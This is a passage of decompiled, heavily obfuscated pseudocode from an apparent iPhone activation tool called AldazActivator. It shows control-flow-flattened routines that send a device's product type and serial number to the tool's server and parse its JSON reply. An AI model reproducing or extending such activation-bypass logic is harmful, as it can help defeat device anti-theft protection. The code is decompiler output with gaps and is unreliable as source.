if ( v38 > 162779286 )
break;
switch ( v38 )
{
case 105549599:
goto LABEL_172;
case 117542098:
*v56 = -1827510446;
break;
case 125442273:
objc_msgSend(
v46,
"isEqual:",
CFSTR("\x9FWb\xBC\xBE\x15d\xE3\x97\x67()ݠ\xB6\x13\xFB\xB5\x1B.\xD1\xE7\xC0\x6A-/\xA7\x00i\x1A\xB7s\x98)_U\xF4\xD7\x9B\x3B\x9E\xFE"));
*v56 = -1558364982;
break;
}
}
if ( v38 != 225702527 )
break;
aB[0] = 115;
aB[1] = 116;
aB[2] = 97;
aB[3] = 116;
aB[4] = 117;
aB[5] = 115;
aB[6] = 0;
asc_10026A818[0] = 109;
asc_10026A818[1] = 111;
asc_10026A818[2] = 100;
asc_10026A818[3] = 101;
asc_10026A818[4] = 108;
asc_10026A818[5] = 0;
aPEa[0] = 115;
aPEa[1] = 117;
aPEa[2] = 99;
aPEa[3] = 99;
aPEa[4] = 101;
aPEa[5] = 115;
aPEa[6] = 115;
aPEa[7] = 0;
qmemcpy(asc_10026A6B0, "Error al parsear la respuesta de", 32);
*v56 = -2085492940;
}
if ( v38 != 236610609 )
break;
v17 = (void *)DetermineModel_2(a1);
objc_retainAutoreleasedReturnValue(v17);
*v56 = 1316975012;
}
}
while ( v38 != 162779287 );
return v41;
}
// 10006385B: variable 'v34' is possibly undefined
// 100063A26: variable 'v33' is possibly undefined
// 100063AA0: variable 'v36' is possibly undefined
// 100063B02: variable 'v32' is possibly undefined
// 100063CE7: variable 'v31' is possibly undefined
// 10006429B: variable 'v37' is possibly undefined
// 100064D4C: variable 'v35' is possibly undefined
// 100068082: using guessed type __int64 __fastcall DetermineModel_2(_QWORD);
// 10026A780: using guessed type __int16 asc_10026A780[37];
// 10026A850: using guessed type __CFString stru_10026A850;
// 10026A890: using guessed type __CFString stru_10026A890;
// 10026A8D0: using guessed type __CFString stru_10026A8D0;
// 10026A910: using guessed type __CFString stru_10026A910;
// 10026A950: using guessed type __CFString stru_10026A950;
// 10026A990: using guessed type __CFString stru_10026A990;
// 10026A9D0: using guessed type __CFString cfstr_PEa;
// 10026AA10: using guessed type __CFString cfstr_B;
// 10029F434: using guessed type int dword_10029F434;
//----- (0000000100065A00) ----------------------------------------------------
id __fastcall checkInit(id a1, void *a2)
{
id *v2; // r12
NSString *v3; // rax
id v4; // rax
id v5; // r14
NSURL *v6; // rax
NSURL *v7; // r13
id v8; // r14
id v9; // r13
dispatch_semaphore_t v10; // r15
NSURLSession *v11; // rax
id *v12; // r12
id v13; // rax
id v14; // rbx
id v15; // r13
id v16; // r12
id v17; // r15
id v18; // r12
id v19; // r14
id v21; // [rsp+0h] [rbp-70h] BYREF
id *v22; // [rsp+8h] [rbp-68h]
id v23; // [rsp+10h] [rbp-60h]
id *v24; // [rsp+18h] [rbp-58h]
id v25; // [rsp+20h] [rbp-50h]
id v26; // [rsp+28h] [rbp-48h]
id v27; // [rsp+30h] [rbp-40h]
id v28; // [rsp+38h] [rbp-38h]
id v29; // [rsp+40h] [rbp-30h]
if ( !dword_10029F438 )
{
strcpy(asc_10026AC0D, "productType=%@");
strcpy(asc_10026ABC0, "https://itunes.ialdaz-activator.com/API/AldazDevA12/model.php");
asc_10026AB77[0] = 80;
asc_10026AB77[1] = 79;
asc_10026AB77[2] = 83;
asc_10026AB77[3] = 84;
asc_10026AB77[4] = 0;
strcpy(asc_10026AB67, "User-Agent");
strcpy(asc_10026AB4F, "Content-Type");
strcpy(aSa, "application/x-www-form-urlencoded");
strcpy(asc_10026AAB0, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
strcpy(asc_10026AA50, "X-Apple-SerialNumber");
}
v29 = a2;
dword_10029F438 = 1;
v2 = &v21 - 6;
objc_retain(a1);
objc_retain(v29);
v22 = &v21 - 6;
v28 = a1;
v3 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x89\xADa\xA7\x18Mh\x0F\x84\xEC\x51\xD2d\xCD\x26"),
a1);
v21 = objc_retainAutoreleasedReturnValue(v3);
v4 = objc_msgSend(v21, "dataUsingEncoding:", 4);
v23 = objc_retainAutoreleasedReturnValue(v4);
v5 = objc_alloc((Class)&OBJC_CLASS___NSMutableURLRequest);
v6 = +[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("\xB4\xD7\xD3I\xA48\xCF\x3E\xEB\x99\x2C\x9B\x1E\xDF\xD6\x92\xBF\xB8,/\x96\xC2\x26\r\x1A\x15X\xD6\xFA\xA8,?5\xE9\xC0\x56r\x19L^\x89\xF5\x3D\xC4\xF1\xAB\x9F\x17\xE3\x43\x212fqH\xACp\x8Ei\x12\x18"));
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = objc_msgSend(v5, "initWithURL:", v7);
objc_release(v7);
objc_msgSend(v8, "setHTTPMethod:", CFSTR(")\x1D]"));
HikariFunctionWrapper_2751_0(v8, "setValue:forHTTPHeaderField:");
objc_msgSend(
v8,
"setValue:forHTTPHeaderField:",
CFSTR("\x8Dı\xBB~\x98BMt\xE9\x50\xAF\xF9旂\x14>\x8E\xD8\xD2rL\x81\xEB\xB0\x1E\xE7\xD8\x78g]\x89Xƃ`\xF0\x0E\x29\x6E\xEA\xA6\x61(4Jץ\a\xBC"),
CFSTR("\xBF\x8B\xCA\x1A\xE0\x63\xDF\xDA\x7D\xBF\x14"));
v9 = v23;
objc_msgSend(
v8,
"setValue:forHTTPHeaderField:",
v29,
CFSTR("\x81\x83d\xA8\xF4\x77\xA2\xFB\x94%;\x83F\x93\x8F|\xB9HsnN"));
objc_msgSend(v8, "setHTTPBody:", v9);
v10 = dispatch_semaphore_create(0);
*v2 = 0;
v2[1] = v2;
v2[2] = (id)0x3032000000LL;
v2[3] = __Block_byref_object_copy_;
v2[4] = __Block_byref_object_dispose_;
v2[5] = 0;
v11 = +[NSURLSession sharedSession](&OBJC_CLASS___NSURLSession, "sharedSession");
v25 = objc_retainAutoreleasedReturnValue(v11);
v12 = v22;
*v22 = _NSConcreteStackBlock;
v12[1] = (id)3254779904LL;
v12[2] = __checkInit_block_invoke;
v12[3] = &__block_descriptor_48_e8_32s40r_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
v12[5] = &v21 - 6;
v26 = v8;
objc_retain(v10);
v12[4] = v10;
v13 = objc_msgSend(v25, "dataTaskWithRequest:completionHandler:", v26, v12);
v14 = objc_retainAutoreleasedReturnValue(v13);
objc_msgSend(v14, "resume");
dispatch_semaphore_wait(v10, 0xFFFFFFFFFFFFFFFFLL);
v27 = (id)*((_QWORD *)*(&v21 - 5) + 5);
objc_retain(v27);
v24 = &v21 - 6;
objc_release(v14);
objc_release(v12[4]);
objc_release(v25);
HikariFunctionWrapper_2753_0(&v21 - 6, 8);
v15 = v23;
v16 = v26;
objc_release(v24[5]);
objc_release(v10);
objc_release(v16);
objc_release(v15);
v17 = v29;
v18 = v28;
v19 = v27;
objc_release(v21);
objc_release(v17);
objc_release(v18);
objc_autoreleaseReturnValue(v19);
return v19;
}
// 10026AC40: using guessed type __CFString stru_10026AC40;
// 10026AC80: using guessed type __CFString stru_10026AC80;
// 10026AD00: using guessed type __CFString stru_10026AD00;
// 10026AD40: using guessed type __CFString stru_10026AD40;
// 10026AD80: using guessed type __CFString stru_10026AD80;
// 10026AE00: using guessed type __CFString stru_10026AE00;
// 10029F438: using guessed type int dword_10029F438;
//----- (0000000100068082) ----------------------------------------------------
#error "100068082: too big function (funcsize=0)"
//----- (0000000100089AAC) ----------------------------------------------------
__int64 __fastcall __Block_byref_object_copy_(__int64 a1, __int64 a2)
{
__int64 result; // rax
_QWORD *v3; // rdi
_QWORD *v4; // rsi
int v5; // r9d
_QWORD *v6; // [rsp+0h] [rbp-20h]
int v7; // [rsp+Ch] [rbp-14h] BYREF
_QWORD *v8; // [rsp+10h] [rbp-10h]
int *v9; // [rsp+18h] [rbp-8h]
v7 = -2116006756;
v9 = &v7;
result = 16789369;
v3 = (_QWORD *)(a1 + 40);
v4 = (_QWORD *)(a2 + 40);
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 464468683 )
{
if ( v7 > -909848993 )
{
if ( v7 == -909848992 )
{
v5 = 464468684;
LABEL_20:
*v9 = v5;
}
else if ( v7 == 16789369 )
{
*v9 = -1100226042;
}
}
else
{
if ( v7 == -2116006756 )
{
v5 = -1100226042;
goto LABEL_20;
}
if ( v7 == -1100226042 )
{
v6 = v3;
v8 = v4;
v5 = 1592397977;
goto LABEL_20;
}
}
}
if ( v7 > 1065257527 )
break;
if ( v7 == 464468684 )
{
*v6 = *v8;
*v8 = 0;
v5 = 842374995;
goto LABEL_20;
}
if ( v7 == 842374995 )
*v9 = 1800194606;
}
if ( v7 != 1065257528 )
break;
*v6 = *v8;
*v8 = 0;
*v9 = 464468684;
}
if ( v7 != 1592397977 )
break;
*v9 = -909848992;
}
}
while ( v7 != 1800194606 );
return result;
}
// 100089C90: conditional instruction was optimized away because %var_18.4==455E7C8A
// 100089C6D: variable 'v6' is possibly undefined
//----- (0000000100089D23) ----------------------------------------------------
__int64 __fastcall __Block_byref_object_dispose_(__int64 a1)
{
__int64 result; // rax
int v2; // eax
id v3; // [rsp+10h] [rbp-30h]
int v4; // [rsp+1Ch] [rbp-24h] BYREF
int *v5; // [rsp+20h] [rbp-20h]
v4 = -1597761026;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v4;
if ( v4 > 277514064 )
break;
if ( v4 == -1597761026 )
{
v3 = *(id *)(a1 + 40);
*v5 = 1953030486;
}
else if ( v4 == -1176387457 )
{
objc_release(v3);
v2 = 383929077;
LABEL_9:
*v5 = v2;
}
}
if ( v4 != 277514065 )
break;
objc_release(v3);
*v5 = -1176387457;
}
if ( v4 == 1953030486 )
{
v2 = -1176387457;
goto LABEL_9;
}
}
while ( v4 != 383929077 );
return result;
}
// 100089DD7: variable 'v3' is possibly undefined
//----- (0000000100089E39) ----------------------------------------------------
__int64 __fastcall __checkInit_block_invoke(__int64 a1, __int64 a2, __int64 a3, void *a4)
{
__int64 v5; // r15
bool v6; // zf
int v7; // eax
int v8; // ecx
id v9; // rax
char v10; // cf
int v11; // ecx
id v12; // rax
__int64 v13; // rax
id v14; // rax
id v15; // rax
__int64 v16; // rcx
char v17; // cf
int v18; // ecx
bool v19; // zf
int v20; // ecx
id v21; // rax
id v22; // r12
id v23; // rax
id v24; // rax
id v25; // rax
NSDictionary *v26; // rax
id v27; // rax
id v28; // r12
__int64 v29; // r12
id v30; // rax
id v31; // rax
id v32; // rax
id v33; // rax
id v34; // r15
SEL v36; // [rsp+0h] [rbp-100h] BYREF
void *v37; // [rsp+8h] [rbp-F8h]
void *v38; // [rsp+10h] [rbp-F0h]
__int64 v39; // [rsp+18h] [rbp-E8h]
void *v40; // [rsp+20h] [rbp-E0h]
_QWORD *v41; // [rsp+28h] [rbp-D8h]
id v42; // [rsp+30h] [rbp-D0h]
__int64 v43; // [rsp+38h] [rbp-C8h]
__int64 v44; // [rsp+40h] [rbp-C0h]
void *v45; // [rsp+48h] [rbp-B8h]
id v46; // [rsp+50h] [rbp-B0h]
id v47; // [rsp+58h] [rbp-A8h]
id v48; // [rsp+60h] [rbp-A0h]
__int64 v49; // [rsp+68h] [rbp-98h]
int v50; // [rsp+70h] [rbp-90h]
int v51; // [rsp+74h] [rbp-8Ch] BYREF
id v52; // [rsp+78h] [rbp-88h]
SEL *v53; // [rsp+80h] [rbp-80h]
id v54; // [rsp+88h] [rbp-78h]
SEL *v55; // [rsp+90h] [rbp-70h]
id *v56; // [rsp+98h] [rbp-68h]
id v57; // [rsp+A0h] [rbp-60h]
SEL *v58; // [rsp+A8h] [rbp-58h]
SEL *v59; // [rsp+B0h] [rbp-50h]
id v60; // [rsp+B8h] [rbp-48h]
bool v61; // [rsp+C5h] [rbp-3Bh]
char v62; // [rsp+C6h] [rbp-3Ah]
bool v63; // [rsp+C7h] [rbp-39h]
int *v64; // [rsp+C8h] [rbp-38h]
__int64 v65; // [rsp+D0h] [rbp-30h]
v49 = a2;
v65 = -1;
v50 = dword_10029F448;
v51 = -1793802690;
v64 = &v51;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v51 > -131602781 )
{
if ( v51 <= 1059046446 )
{
if ( v51 <= 462518761 )
{
if ( v51 > 213030920 )
{
if ( v51 > 337714328 )
{
if ( v51 == 337714329 )
{
v10 = 1;
v7 = 1563221599;
v11 = -1858458266;
goto LABEL_180;
}
if ( v51 == 376388117 )
{
v19 = 0;
v7 = 1789096443;
v20 = -1899738495;
goto LABEL_169;
}
}
else
{
if ( v51 == 213030921 )
{
aB[0] = 115;
aB[1] = 116;
aB[2] = 97;
aB[3] = 116;
aB[4] = 117;
aB[5] = 115;
aB[6] = 0;
asc_100270CE0[0] = 101;
v10 = 1;
asc_100270CE0[1] = 114;
asc_100270CE0[2] = 114;
asc_100270CE0[3] = 111;
asc_100270CE0[4] = 114;
asc_100270CE0[5] = 0;
a1_1[0] = 69;
a1_1[1] = 114;
a1_1[2] = 114;
a1_1[3] = 111;
v7 = -1561720385;
v11 = 213030921;
goto LABEL_180;
}
if ( v51 == 233994358 )
{
v10 = 0;
v7 = -1617902885;
v11 = -131602780;
goto LABEL_180;
}
}
}
else if ( v51 > -115897244 )
{
if ( v51 == -115897243 )
{
LABEL_134:
*v64 = -268286124;
}
else if ( v51 == 48703572 )
{
objc_release(v48);
v19 = 0;
v7 = 48703572;
v20 = -1932508657;
goto LABEL_169;
}
}
else
{
if ( v51 == -131602780 )
{
objc_retain(v60);
v63 = v60 == 0;
v10 = 1;
v7 = -1465748233;
v11 = -1617902885;
goto LABEL_180;
}
if ( v51 == -120724531 )
{
v6 = 0;
v7 = 485808309;
v8 = 1941905256;
goto LABEL_146;
}
}
}
else if ( v51 <= 697771501 )
{
if ( v51 > 485808308 )
{
if ( v51 == 485808309 )
{
NSLog(
CFSTR("1\xC4\x33\xAE\xE2\x57\xD8o3\x12\x9A\x04\xB5\x8De\xAAV\x90\xDA\x2B\\\x89@\x7F\x1D\t"),
v54,
1359623794);
objc_release(v54);
*v59 = (SEL)CFSTR("B\x89Ddt\x01");
*v58 = (SEL)CFSTR("\x01ؼ\xB3\x9C");
v59[1] = (SEL)CFSTR("\x15\xFAh\xA8\n\x96\xA8\x03");
v58[1] = (SEL)CFSTR("\x9FWb\xBC\xBE\x15d\xE3\x97\x67()ݠ\xB6\x13\xFB\xB5\x1B.\xD1\xE7\xC0\x6A-/\xA7\x00i\x1A\xB7s\x98)_U\xF4\xD7\x9B\x3B\x9E\xFE");
v33 = HikariFunctionWrapper_2769_0(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v42 = objc_retainAutoreleasedReturnValue(v33);
v10 = 1;
v43 = *(_QWORD *)(a1 + 40) + 8LL;
v7 = 580320701;
v11 = 1941905256;
LABEL_180:
if ( !v10 )
v7 = v11;
goto LABEL_182;
}
if ( v51 == 580320701 )
*v64 = 1058243385;
}
else if ( v51 == 462518762 )
{
v32 = HikariFunctionWrapper_2773_0(v60, "localizedDescription");
objc_retainAutoreleasedReturnValue(v32);
*v64 = 1156809770;
}
else if ( v51 == 466544844 )
{
*v64 = -120724531;
}
}
else if ( v51 <= 971425870 )
{
if ( v51 == 697771502 )
{
v17 = 1;
v7 = 462518762;
v18 = 1156809770;
LABEL_175:
if ( v17 )
v7 = v18;
LABEL_182:
*v64 = v7;
}
else if ( v51 == 968509691 )
{
v10 = 1;
v39 = a1 + 40;
v7 = 1032294643;
v11 = 968509691;
goto LABEL_180;
}
}
else
{
switch ( v51 )
{
case 971425871:
v10 = 1;
v7 = 1838182973;
v11 = -658926760;
goto LABEL_180;
case 1032294643:
*v64 = 1059179445;
break;
case 1058243385:
v6 = 0;
v7 = -728421398;
v8 = -2094035353;
goto LABEL_146;
}
}
}
else if ( v51 > 1563221598 )
{
if ( v51 <= 1751315216 )
{
if ( v51 > 1604505223 )
{
if ( v51 == 1604505224 )
{
*v64 = 968509691;
}
else if ( v51 == 1706376595 )
{
*v53 = (SEL)CFSTR("\x01ؼ\xB3\x9C");
v55[1] = (SEL)CFSTR("\x15\xFAh\xA8\n\x96\xA8\x03");
v41 = v53 + 1;
v25 = objc_msgSend(a4, v36);
v52 = objc_retainAutoreleasedReturnValue(v25);
*v64 = -1107654795;
}
}
else
{
if ( v51 == 1563221599 )
{
*v56 = 0;
v30 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v49,
0,
v56);
v31 = objc_retainAutoreleasedReturnValue(v30);
v17 = 0;
v57 = v31;
v7 = -834592697;
v18 = 1563221599;
goto LABEL_175;
}
if ( v51 == 1598579996 )
{
*v41 = v52;
v14 = HikariFunctionWrapper_2767_0(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v15 = objc_retainAutoreleasedReturnValue(v14);
v10 = 1;
v16 = *(_QWORD *)(*(_QWORD *)(a1 + 40) + 8LL);
v37 = *(void **)(v16 + 40);
*(_QWORD *)(v16 + 40) = v15;
v7 = -1889419839;
v11 = -1374440818;
goto LABEL_180;
}
}
}
else if ( v51 <= 1838182972 )
{
if ( v51 == 1751315217 )
{
*v64 = 376388117;
}
else if ( v51 == 1789096443 )
{
*v64 = -1899738495;
}
}
else
{
switch ( v51 )
{
case 1838182973:
v19 = 0;
dword_10029F448 = 1;
v7 = -658926760;
v20 = -857084633;
goto LABEL_169;
case 1868547949:
v29 = v44;
objc_retain(v57);
v10 = 1;
v40 = *(void **)(v29 + 40);
*(_QWORD *)(v29 + 40) = v57;
v7 = -1841785592;
v11 = 1868547949;
goto LABEL_180;
case 1941905256:
NSLog(
CFSTR("1\xC4\x33\xAE\xE2\x57\xD8o3\x12\x9A\x04\xB5\x8De\xAAV\x90\xDA\x2B\\\x89@\x7F\x1D\t"),
v54);
objc_release(v54);
*v59 = (SEL)CFSTR("B\x89Ddt\x01");
*v58 = (SEL)CFSTR("\x01ؼ\xB3\x9C");
v59[1] = (SEL)CFSTR("\x15\xFAh\xA8\n\x96\xA8\x03");
v58[1] = (SEL)CFSTR("\x9FWb\xBC\xBE\x15d\xE3\x97\x67()ݠ\xB6\x13\xFB\xB5\x1B.\xD1\xE7\xC0\x6A-/\xA7\x00i\x1A\xB7s\x98)_U\xF4\xD7\x9B\x3B\x9E\xFE");
v9 = HikariFunctionWrapper_2775_0(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
objc_retainAutoreleasedReturnValue(v9);
*v64 = 485808309;
break;
}
}
}
else if ( v51 <= 1215465080 )
{
if ( v51 > 1106989796 )
{
if ( v51 == 1106989797 )
{
v19 = 0;
v7 = 1215465081;
v20 = 213030921;
LABEL_169:
if ( !v19 )
v7 = v20;
goto LABEL_182;
}
if ( v51 == 1156809770 )
{
v23 = objc_msgSend(v60, "localizedDescription");
v24 = objc_retainAutoreleasedReturnValue(v23);
v10 = 0;
v54 = v24;
v7 = 462518762;
v11 = 466544844;
goto LABEL_180;
}
}
else if ( v51 == 1059046447 )
{
*v64 = 1706376595;
}
else if ( v51 == 1059179445 )
{
v44 = *(_QWORD *)(*(_QWORD *)v39 + 8LL);
*v64 = 1389611906;
}
}
else if ( v51 <= 1389611905 )
{
if ( v51 == 1215465081 )
{
aB[0] = 115;
aB[1] = 116;
aB[2] = 97;
aB[3] = 116;
aB[4] = 117;
aB[5] = 115;
aB[6] = 0;
asc_100270CE0[0] = 101;
asc_100270CE0[1] = 114;
asc_100270CE0[2] = 114;
asc_100270CE0[3] = 111;
asc_100270CE0[4] = 114;
asc_100270CE0[5] = 0;
a1_1[0] = 69;
a1_1[1] = 114;
a1_1[2] = 114;
a1_1[3] = 111;
*v64 = 213030921;
}
else if ( v51 == 1276648971 )
{
v36 = "localizedDescription";
v21 = HikariFunctionWrapper_2763_0(a4, "localizedDescription");
v22 = objc_retainAutoreleasedReturnValue(v21);
HikariFunctionWrapper_2765_0(CFSTR("\x8F\x83\xCC\x4F\xEF\xE0\xB7\x88\xF1\x25\x18\xB1\xDD\x4E\x01-?\x01<\x1E\x18\xBF,\x01\x0E\x14"));
objc_release(v22);
v6 = 0;
*v55 = (SEL)CFSTR("B\x89Ddt\x01");
v7 = 1059046447;
v8 = 1276648971;
goto LABEL_146;
}
}
else
{
switch ( v51 )
{
case 1389611906:
v10 = 1;
v7 = 1868547949;
v11 = -1324179833;
goto LABEL_180;
case 1423530219:
*v64 = -1075821177;
break;
case 1472888964:
*v64 = 233994358;
break;
}
}
}
if ( v51 > -1196699414 )
break;
if ( v51 <= -1696027273 )
{
if ( v51 > -1889419840 )
{
if ( v51 > -1841785593 )
{
if ( v51 == -1841785592 )
{
*v64 = -815293246;
v45 = v40;
}
else if ( v51 == -1793802690 )
{
v17 = 0;
v7 = -1075821177;
LABEL_154:
v18 = 1423530219;
goto LABEL_175;
}
}
else if ( v51 == -1889419839 )
{
*v64 = -223809272;
v46 = v37;
v47 = v52;
}
else if ( v51 == -1858458266 )
{
*v56 = 0;
v12 = +[NSJSONSerialization JSONObjectWithData:options:error:](
&OBJC_CLASS___NSJSONSerialization,
"JSONObjectWithData:options:error:",
v49,
0,
v56);
objc_retainAutoreleasedReturnValue(v12);
*v64 = 1563221599;
}
}
else if ( v51 > -1932508658 )
{
if ( v51 == -1932508657 )
{
*v64 = -223809272;
v46 = v57;
v47 = v60;
}
else if ( v51 == -1899738495 )
{
v17 = 1;
v7 = -1899738495;
v18 = -1540596779;
goto LABEL_175;
}
}
else if ( v51 == -2094035353 )
{
*(_QWORD *)(*(_QWORD *)v43 + 40LL) = v42;
*v64 = -728421398;
}
else if ( v51 == -2028962797 )
{
a1_1[4] = 114;
a1_1[5] = 32;
a1_1[6] = 97;
a1_1[7] = 108;
a1_1[8] = 32;
a1_1[9] = 112;
a1_1[10] = 97;
a1_1[11] = 114;
a1_1[12] = 115;
a1_1[13] = 101;
a1_1[14] = 97;
a1_1[15] = 114;
a1_1[16] = 32;
a1_1[17] = 74;
a1_1[18] = 83;
a1_1[19] = 79;
a1_1[20] = 78;
a1_1[21] = 58;
a1_1[22] = 32;
a1_1[23] = 37;
a1_1[24] = 64;
a1_1[25] = 0;
asc_100270D10[0] = 69;
asc_100270D10[1] = 114;
asc_100270D10[2] = 114;
asc_100270D10[3] = 111;
asc_100270D10[4] = 114;
*v64 = -864387945;
}
}
else if ( v51 <= -1465748234 )
{
if ( v51 > -1561720386 )
{
if ( v51 == -1561720385 )
{
*v64 = -1100468646;
}
else if ( v51 == -1540596779 )
{
v19 = !v61;
v7 = 971425871;
v20 = 1106989797;
goto LABEL_169;
}
}
else
{
if ( v51 == -1696027272 )
{
v6 = a4 == 0;
v7 = -1196699413;
v8 = 337714329;
LABEL_146:
if ( v6 )
v7 = v8;
goto LABEL_182;
}
if ( v51 == -1617902885 )
{
objc_retain(v60);
*v64 = -131602780;
}
}
}
else if ( v51 <= -1426230453 )
{
if ( v51 == -1465748233 )
{
v19 = !v63;
v7 = 697771502;
v20 = -587427627;
goto LABEL_169;
}
if ( v51 == -1465404181 )
{
*v64 = -815293246;
v45 = v38;
}
}
else
{
switch ( v51 )
{
case -1426230452:
goto LABEL_134;
case -1374440818:
*v41 = v52;
v26 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v53,
v55,
2);
*(_QWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 40) + 8LL) + 40LL) = objc_retainAutoreleasedReturnValue(v26);
*v64 = 1598579996;
break;
case -1324179833:
v5 = v44;
objc_retain(v57);
*(_QWORD *)(v5 + 40) = v57;
*v64 = 1868547949;
break;
}
}
}
if ( v51 > -815293247 )
break;
if ( v51 <= -1075821178 )
{
if ( v51 > -1107654796 )
{
if ( v51 == -1107654795 )
{
v17 = 0;
v7 = 1598579996;
v18 = -1374440818;
goto LABEL_175;
}
if ( v51 == -1100468646 )
{
v19 = 0;
v7 = -2028962797;
v20 = -864387945;
goto LABEL_169;
}
}
else
{
if ( v51 == -1196699413 )
{
v17 = 1;
v7 = -671459465;
v18 = 1276648971;
goto LABEL_175;
}
if ( v51 == -1192493109 )
{
v53 = &v36 - 2;
v55 = &v36 - 2;
v56 = (id *)(&v36 - 2);
v58 = &v36 - 2;
v59 = &v36 - 2;
objc_retain(a4);
*v64 = -1696027272;
}
}
}
else if ( v51 <= -864387946 )
{
if ( v51 == -1075821177 )
{
v61 = v50 == 0;
v17 = 0;
v7 = 1751315217;
goto LABEL_154;
}
if ( v51 == -1006468733 )
{
asc_100270D10[5] = v62;
asc_100270D10[6] = 101;
asc_100270D10[7] = 110;
asc_100270D10[8] = 32;
asc_100270D10[9] = 108;
asc_100270D10[10] = 97;
asc_100270D10[11] = 32;
asc_100270D10[12] = 115;
asc_100270D10[13] = 111;
asc_100270D10[14] = 108;
asc_100270D10[15] = 105;
asc_100270D10[16] = 99;
asc_100270D10[17] = 105;
asc_100270D10[18] = 116;
asc_100270D10[19] = 117;
asc_100270D10[20] = 100;
asc_100270D10[21] = 58;
asc_100270D10[22] = 32;
asc_100270D10[23] = 37;
asc_100270D10[24] = 64;
asc_100270D10[25] = 0;
asc_10026A6E3[0] = 109;
asc_10026A6E3[1] = 101;
asc_10026A6E3[2] = 115;
asc_10026A6E3[3] = 115;
asc_10026A6E3[4] = 97;
asc_10026A6E3[5] = 103;
asc_10026A6E3[6] = 101;
asc_10026A6E3[7] = 0;
strcpy(asc_10026A6B0, "Error al parsear la respuesta del servidor");
*v64 = 971425871;
}
}
else
{
switch ( v51 )
{
case -864387945:
a1_1[4] = 114;
a1_1[5] = 32;
a1_1[6] = 97;
a1_1[7] = 108;
a1_1[8] = 32;
a1_1[9] = 112;
a1_1[10] = 97;
a1_1[11] = 114;
a1_1[12] = 115;
a1_1[13] = 101;
a1_1[14] = 97;
a1_1[15] = 114;
a1_1[16] = 32;
a1_1[17] = 74;
a1_1[18] = 83;
a1_1[19] = 79;
a1_1[20] = 78;
a1_1[21] = 58;
a1_1[22] = 32;
a1_1[23] = 37;
a1_1[24] = 64;
a1_1[25] = 0;
asc_100270D10[0] = 69;
asc_100270D10[1] = 114;
asc_100270D10[2] = 114;
asc_100270D10[3] = 111;
asc_100270D10[4] = 114;
v10 = 0;
v62 = 32;
v7 = -864387945;
v11 = -721626242;
goto LABEL_180;
case -857084633:
*v64 = -1192493109;
break;
case -834592697:
*v64 = -115897243;
break;
}
}
}
if ( v51 > -671459466 )
break;
if ( v51 > -721626243 )
{
if ( v51 == -721626242 )
{
*v64 = -1006468733;
}
else if ( v51 == -680801289 )
{
objc_release(v48);
*v64 = 48703572;
}
}
else
{
if ( v51 == -815293246 )
{
v48 = v45;
v10 = 0;
v7 = -680801289;
v11 = 48703572;
goto LABEL_180;
}
if ( v51 == -728421398 )
{
v13 = *(_QWORD *)v43;
v38 = *(void **)(*(_QWORD *)v43 + 40LL);
*(_QWORD *)(v13 + 40) = v42;
*v64 = -1465404181;
}
}
}
if ( v51 > -587427628 )
break;
if ( v51 == -671459465 )
{
v27 = HikariFunctionWrapper_2771_0(a4, "localizedDescription");
v28 = objc_retainAutoreleasedReturnValue(v27);
NSLog(
CFSTR("\x8F\x83\xCC\x4F\xEF\xE0\xB7\x88\xF1\x25\x18\xB1\xDD\x4E\x01-?\x01<\x1E\x18\xBF,\x01\x0E\x14"),
v28);
objc_release(v28);
*v55 = (SEL)CFSTR("B\x89Ddt\x01");
*v64 = 1276648971;
}
else if ( v51 == -658926760 )
{
dword_10029F448 = 1;
*v64 = 1838182973;
}
}
if ( v51 == -587427627 )
{
v10 = 1;
v7 = 968509691;
v11 = 1604505224;
goto LABEL_180;
}
if ( v51 == -268286124 )
{
v10 = 1;
v60 = *v56;
v7 = 1472888964;
v11 = -1426230452;
goto LABEL_180;
}
}
while ( v51 != -223809272 );
v34 = v47;
objc_release(v46);
objc_release(v34);
dispatch_semaphore_signal(*(dispatch_semaphore_t *)(a1 + 32));
objc_release(a4);
return -1;
}
// 100270D50: using guessed type __CFString stru_100270D50;
// 100270DD0: using guessed type __CFString stru_100270DD0;
// 100270E10: using guessed type __CFString stru_100270E10;
// 100270E90: using guessed type __CFString cfstr_B_3;
// 10029F448: using guessed type int dword_10029F448;
//----- (000000010008BD80) ----------------------------------------------------
bool __fastcall IsModelCompatibility(id a1, __int64 a2, __int64 a3, __CFString *a4)
{
__int64 v4; // rdx
int v5; // eax
bool v6; // cf
int v7; // eax
int v8; // ecx
bool v9; // zf
int v10; // ecx
NSDictionary *v11; // rax
NSDictionary *v12; // rax
id v13; // rax
char v14; // cf
int v15; // ecx
id v16; // rax
id v17; // rax
__int64 v19; // [rsp+0h] [rbp-80h] BYREF
_QWORD *v20; // [rsp+8h] [rbp-78h]
id v21; // [rsp+10h] [rbp-70h]
unsigned int v22; // [rsp+1Ch] [rbp-64h]
int v23; // [rsp+20h] [rbp-60h]
int v24; // [rsp+24h] [rbp-5Ch] BYREF
id v25; // [rsp+28h] [rbp-58h]
bool v26; // [rsp+34h] [rbp-4Ch]
char v27; // [rsp+35h] [rbp-4Bh]
char v28; // [rsp+36h] [rbp-4Ah]
bool v29; // [rsp+37h] [rbp-49h]
__int64 *v30; // [rsp+38h] [rbp-48h]
__int64 *v31; // [rsp+40h] [rbp-40h]
int *v32; // [rsp+48h] [rbp-38h]
__int64 v33; // [rsp+50h] [rbp-30h]
v33 = -1;
v4 = 2930108412LL;
v22 = 1749821167;
v24 = 72855566;
v32 = &v24;
do
{
while ( 1 )
{
